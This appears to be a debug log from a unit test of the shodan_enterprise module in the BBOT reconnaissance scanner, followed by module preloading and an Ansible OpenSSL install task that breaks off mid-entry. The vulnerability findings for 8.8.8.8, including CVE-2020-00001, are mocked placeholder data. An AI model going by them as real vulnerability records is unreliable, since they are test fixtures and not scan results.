-2026-03-02 09:13:10,721 [DEBUG] bbot.modules.output.python base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'web-servers'}) passed post-check -2026-03-02 09:13:10,721 [DEBUG] bbot.modules.output.python base.py:1563 Got TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'in-scope', 'dns'}) from shodan_enterprise -2026-03-02 09:13:10,722 [DEBUG] bbot.modules.output.python base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'in-scope', 'dns'}) passed post-check -2026-03-02 09:13:10,722 [DEBUG] bbot.modules.output.python base.py:1563 Got VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'low', 'in-scope'}) from shodan_enterprise -2026-03-02 09:13:10,723 [DEBUG] bbot.modules.output.python base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'low', 'in-scope'}) passed post-check -2026-03-02 09:13:10,723 [DEBUG] bbot.modules.output.python base.py:1563 Got ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'public-dns', 'cloud', 'verified'}) from shodan_enterprise -2026-03-02 09:13:10,723 [DEBUG] bbot.modules.output.python base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'public-dns', 'cloud', 'verified'}) passed post-check -2026-03-02 09:13:10,724 [DEBUG] bbot.modules.output.python base.py:1563 Got VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) from shodan_enterprise -2026-03-02 09:13:10,724 [DEBUG] bbot.modules.output.python base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) passed post-check -2026-03-02 09:13:10,724 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns'}) from shodan_enterprise -2026-03-02 09:13:10,725 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns'}) passed post-check -2026-03-02 09:13:10,725 [DEBUG] bbot.modules.output.python base.py:1563 Got TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-crypto', 'in-scope', 'web-technology'}) from shodan_enterprise -2026-03-02 09:13:10,725 [DEBUG] bbot.modules.output.python base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-crypto', 'in-scope', 'web-technology'}) passed post-check -2026-03-02 09:13:10,726 [DEBUG] bbot.modules.output.python base.py:1563 Got VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'in-scope', 'critical'}) from shodan_enterprise -2026-03-02 09:13:10,726 [DEBUG] bbot.modules.output.python base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'in-scope', 'critical'}) passed post-check -2026-03-02 09:13:10,726 [DEBUG] bbot.modules.output.python base.py:1563 Got TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) from shodan_enterprise -2026-03-02 09:13:10,727 [DEBUG] bbot.modules.output.python base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) passed post-check -2026-03-02 09:13:10,727 [DEBUG] bbot.modules.output.python base.py:1563 Got TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) from shodan_enterprise -2026-03-02 09:13:10,727 [DEBUG] bbot.modules.output.python base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) passed post-check -2026-03-02 09:13:10,727 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) from shodan_enterprise -2026-03-02 09:13:10,728 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) passed post-check -2026-03-02 09:13:10,728 [INFO] bbot.scanner scanner.py:790 Finishing scan -2026-03-02 09:13:10,728 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) because its type is FINISHED -2026-03-02 09:13:10,729 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'unarchive'}) because its type is FINISHED -2026-03-02 09:13:10,729 [DEBUG] bbot.modules.output.python base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'python'}) because its type is FINISHED -2026-03-02 09:13:10,729 [VERBOSE] bbot.scanner logger.py:151 Completed finish() -2026-03-02 09:13:10,729 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to FINISHING -2026-03-02 09:13:10,730 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) from None -2026-03-02 09:13:10,730 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Got FINISHED("FINISHED", module=None, tags={'unarchive'}) from None -2026-03-02 09:13:10,830 [DEBUG] bbot.modules.output.python base.py:1563 Got FINISHED("FINISHED", module=None, tags={'python'}) from None -2026-03-02 09:13:10,830 [VERBOSE] bbot.scanner logger.py:151 Completed final finish() -2026-03-02 09:13:10,839 [DEBUG] bbot.scanner scanner.py:1176 Cancelling all scan tasks -2026-03-02 09:13:10,839 [DEBUG] bbot.scanner scanner.py:1176 Finished cancelling all scan tasks -2026-03-02 09:13:10,840 [DEBUG] bbot.scanner scanner.py:1176 Awaiting 42 tasks -2026-03-02 09:13:10,844 [DEBUG] bbot.scanner scanner.py:1176 Awaited 42 tasks -2026-03-02 09:13:10,844 [VERBOSE] bbot.core.dnshelper logger.py:151 EngineClient DNSHelper: shutting down... -2026-03-02 09:13:10,845 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to CLEANING_UP -2026-03-02 09:13:10,846 [VERBOSE] bbot.core.dnsengine logger.py:151 EngineServer DNSEngine got shutdown signal -2026-03-02 09:13:10,846 [VERBOSE] bbot.core.dnsengine logger.py:151 EngineServer DNSEngine: shutting down... -2026-03-02 09:13:10,846 [VERBOSE] bbot.core.dnsengine logger.py:151 EngineServer DNSEngine: finished shutting down -2026-03-02 09:13:10,913 [HUGESUCCESS] bbot.scanner logger.py:151 Scan testshodan_enterprise_test_923ssiw12j completed in 0 seconds with status FINISHED -2026-03-02 09:13:10,914 [DEBUG] bbot base.py:113 Finished shodan_enterprise module test -2026-03-02 09:13:10,914 [DEBUG] asyncio selector_events.py:64 Using selector: KqueueSelector -2026-03-02 09:13:10,916 [CRITICAL] bbot test_module_shodan_enterprise.py:66 Found 1 ASN events -2026-03-02 09:13:10,916 [INFO] bbot test_module_shodan_enterprise.py:70 ASN is passed -2026-03-02 09:13:10,916 [CRITICAL] bbot test_module_shodan_enterprise.py:78 TCP ports: ['8.8.8.8:53'], UDP ports: ['8.8.8.8:53'] -2026-03-02 09:13:10,916 [HUGEWARNING] bbot logger.py:151 Vulnerabilities observed: {'CVE-2020-00001': 'LOW', 'CVE-2021-12345': 'HIGH', 'CVE-2022-11111': 'CRITICAL'} -2026-03-02 09:13:10,916 [INFO] bbot.test.shodan_enterprise base.py:125 Finished shodan_enterprise module test -2026-03-02 09:13:10,917 [INFO] bbot.test.shodan_enterprise base.py:131 No unfinished tasks detected -2026-03-02 09:13:53,957 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/report -2026-03-02 09:13:53,965 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache -2026-03-02 09:13:53,965 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache -2026-03-02 09:13:53,966 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz -2026-03-02 09:13:53,966 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache -2026-03-02 09:13:53,967 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/output -2026-03-02 09:13:53,968 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache -2026-03-02 09:13:53,968 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache -2026-03-02 09:13:53,969 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache -2026-03-02 09:13:53,969 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache -2026-03-02 09:13:53,970 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache -2026-03-02 09:13:53,970 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache -2026-03-02 09:13:53,971 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache -2026-03-02 09:13:53,971 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache -2026-03-02 09:13:53,972 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache -2026-03-02 09:13:53,972 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache -2026-03-02 09:13:53,973 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache -2026-03-02 09:13:53,973 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache -2026-03-02 09:13:53,974 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache -2026-03-02 09:13:53,974 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache -2026-03-02 09:13:53,975 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache -2026-03-02 09:13:53,975 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache -2026-03-02 09:13:53,975 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache -2026-03-02 09:13:53,976 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache -2026-03-02 09:13:53,977 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache -2026-03-02 09:13:53,978 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache -2026-03-02 09:13:53,978 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache -2026-03-02 09:13:53,979 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/templates -2026-03-02 09:13:53,979 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules -2026-03-02 09:13:53,980 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache -2026-03-02 09:13:53,980 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache -2026-03-02 09:13:53,981 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache -2026-03-02 09:13:53,981 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache -2026-03-02 09:13:53,982 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache -2026-03-02 09:13:53,982 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache -2026-03-02 09:13:53,982 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache -2026-03-02 09:13:53,983 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache -2026-03-02 09:13:53,983 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache -2026-03-02 09:13:53,984 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache -2026-03-02 09:13:53,984 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache -2026-03-02 09:13:53,986 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache -2026-03-02 09:13:53,987 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache -2026-03-02 09:13:53,987 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache -2026-03-02 09:13:53,988 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache -2026-03-02 09:13:53,989 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache -2026-03-02 09:13:53,989 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache -2026-03-02 09:13:53,989 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache -2026-03-02 09:13:53,990 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_enterprise from cache -2026-03-02 09:13:53,990 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache -2026-03-02 09:13:53,991 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache -2026-03-02 09:13:53,991 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache -2026-03-02 09:13:53,991 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache -2026-03-02 09:13:53,992 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache -2026-03-02 09:13:53,992 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache -2026-03-02 09:13:53,993 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache -2026-03-02 09:13:53,993 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache -2026-03-02 09:13:53,993 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache -2026-03-02 09:13:53,994 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache -2026-03-02 09:13:53,994 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache -2026-03-02 09:13:53,995 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache -2026-03-02 09:13:53,995 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache -2026-03-02 09:13:53,995 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache -2026-03-02 09:13:53,996 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache -2026-03-02 09:13:53,996 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache -2026-03-02 09:13:53,997 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache -2026-03-02 09:13:53,997 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache -2026-03-02 09:13:54,000 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache -2026-03-02 09:13:54,001 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache -2026-03-02 09:13:54,002 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache -2026-03-02 09:13:54,002 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache -2026-03-02 09:13:54,003 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache -2026-03-02 09:13:54,003 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache -2026-03-02 09:13:54,003 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache -2026-03-02 09:13:54,004 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache -2026-03-02 09:13:54,004 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache -2026-03-02 09:13:54,005 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache -2026-03-02 09:13:54,005 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache -2026-03-02 09:13:54,006 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache -2026-03-02 09:13:54,006 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache -2026-03-02 09:13:54,006 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache -2026-03-02 09:13:54,007 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache -2026-03-02 09:13:54,007 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache -2026-03-02 09:13:54,008 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache -2026-03-02 09:13:54,008 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache -2026-03-02 09:13:54,008 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache -2026-03-02 09:13:54,009 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache -2026-03-02 09:13:54,009 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache -2026-03-02 09:13:54,010 [DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache -2026-03-02 09:13:54,010 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache -2026-03-02 09:13:54,010 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache -2026-03-02 09:13:54,011 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache -2026-03-02 09:13:54,011 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache -2026-03-02 09:13:54,012 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache -2026-03-02 09:13:54,012 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache -2026-03-02 09:13:54,013 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache -2026-03-02 09:13:54,013 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache -2026-03-02 09:13:54,014 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache -2026-03-02 09:13:54,014 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache -2026-03-02 09:13:54,014 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache -2026-03-02 09:13:54,015 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache -2026-03-02 09:13:54,015 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache -2026-03-02 09:13:54,016 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache -2026-03-02 09:13:54,016 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache -2026-03-02 09:13:54,016 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache -2026-03-02 09:13:54,017 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache -2026-03-02 09:13:54,017 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache -2026-03-02 09:13:54,018 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache -2026-03-02 09:13:54,018 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache -2026-03-02 09:13:54,019 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache -2026-03-02 09:13:54,019 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache -2026-03-02 09:13:54,019 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache -2026-03-02 09:13:54,020 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache -2026-03-02 09:13:54,020 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache -2026-03-02 09:13:54,020 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache -2026-03-02 09:13:54,021 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache -2026-03-02 09:13:54,021 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache -2026-03-02 09:13:54,022 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache -2026-03-02 09:13:54,022 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache -2026-03-02 09:13:54,022 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache -2026-03-02 09:13:54,023 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache -2026-03-02 09:13:54,023 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache -2026-03-02 09:13:54,024 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache -2026-03-02 09:13:54,024 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache -2026-03-02 09:13:54,025 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache -2026-03-02 09:13:54,025 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache -2026-03-02 09:13:54,025 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache -2026-03-02 09:13:54,026 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache -2026-03-02 09:13:54,026 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache -2026-03-02 09:13:54,027 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache -2026-03-02 09:13:54,028 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache -2026-03-02 09:13:54,028 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache -2026-03-02 09:13:54,029 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache -2026-03-02 09:13:54,029 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache -2026-03-02 09:13:54,030 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache -2026-03-02 09:13:54,030 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache -2026-03-02 09:13:54,030 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache -2026-03-02 09:13:54,031 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache -2026-03-02 09:13:54,031 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache -2026-03-02 09:13:54,032 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache -2026-03-02 09:13:54,032 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache -2026-03-02 09:13:54,032 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache -2026-03-02 09:13:54,033 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache -2026-03-02 09:13:54,033 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache -2026-03-02 09:13:54,034 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache -2026-03-02 09:13:54,034 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/internal -2026-03-02 09:13:54,034 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache -2026-03-02 09:13:54,035 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache -2026-03-02 09:13:54,035 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache -2026-03-02 09:13:54,035 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache -2026-03-02 09:13:54,036 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache -2026-03-02 09:13:54,036 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache -2026-03-02 09:13:54,036 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules -2026-03-02 09:13:54,037 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk -2026-03-02 09:13:54,038 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module -2026-03-02 09:13:54,038 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk -2026-03-02 09:13:54,039 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module -2026-03-02 09:13:54,039 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk -2026-03-02 09:13:54,041 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module -2026-03-02 09:13:54,041 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk -2026-03-02 09:13:54,044 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module -2026-03-02 09:13:54,044 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk -2026-03-02 09:13:54,045 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module -2026-03-02 09:13:54,045 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk -2026-03-02 09:13:54,046 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module -2026-03-02 09:13:54,047 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk -2026-03-02 09:13:54,048 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module -2026-03-02 09:13:54,048 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk -2026-03-02 09:13:54,049 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module -2026-03-02 09:13:54,049 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/deadly -2026-03-02 09:13:54,049 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache -2026-03-02 09:13:54,871 [DEBUG] asyncio selector_events.py:64 Using selector: KqueueSelector -2026-03-02 09:13:54,872 [DEBUG] asyncio selector_events.py:64 Using selector: KqueueSelector -2026-03-02 09:13:54,872 [INFO] bbot base.py:99 Starting shodan_enterprise module test -2026-03-02 09:13:54,969 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked -2026-03-02 09:13:55,357 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" -2026-03-02 09:13:55,358 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" -2026-03-02 09:13:55,359 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" -2026-03-02 09:13:55,359 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" -2026-03-02 09:13:55,490 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. -2026-03-02 09:13:55,491 [DEBUG] bbot base.py:103 Mocking DNS -2026-03-02 09:13:55,598 [DEBUG] bbot base.py:105 Executing setup_before_prep() -2026-03-02 09:13:55,599 [DEBUG] bbot base.py:107 Executing scan._prep() -2026-03-02 09:13:55,625 [HUGEINFO] bbot.scanner logger.py:151 Scan seeded with 1 targets (1 in whitelist) -2026-03-02 09:13:55,627 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection -2026-03-02 09:13:55,628 [HUGEVERBOSE] bbot.core.helpers.command logger.py:151 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-tTmN0996-py3.13/bin/ansible-galaxy collection install community.general -2026-03-02 09:13:56,040 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection -2026-03-02 09:13:56,040 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers -2026-03-02 09:13:58,364 [SUCCESS] bbot.core.helpers.depsinstaller logger.py:151 Authentication successful -2026-03-02 09:13:58,365 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) -2026-03-02 09:13:58,365 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { - "hosts": "all", - "tasks": [ - { - "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", - "package": { - "name": [ - "libssl-dev", - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Debian'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", - "package": { - "name": [ - "openssl", - "openssl-devel" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Arch)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Archlinux'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Alpine)", - "package": { - "name": [ - "openssl", - "openssl-dev" - ], - "state": "present" - }, - "become": false, - "when": 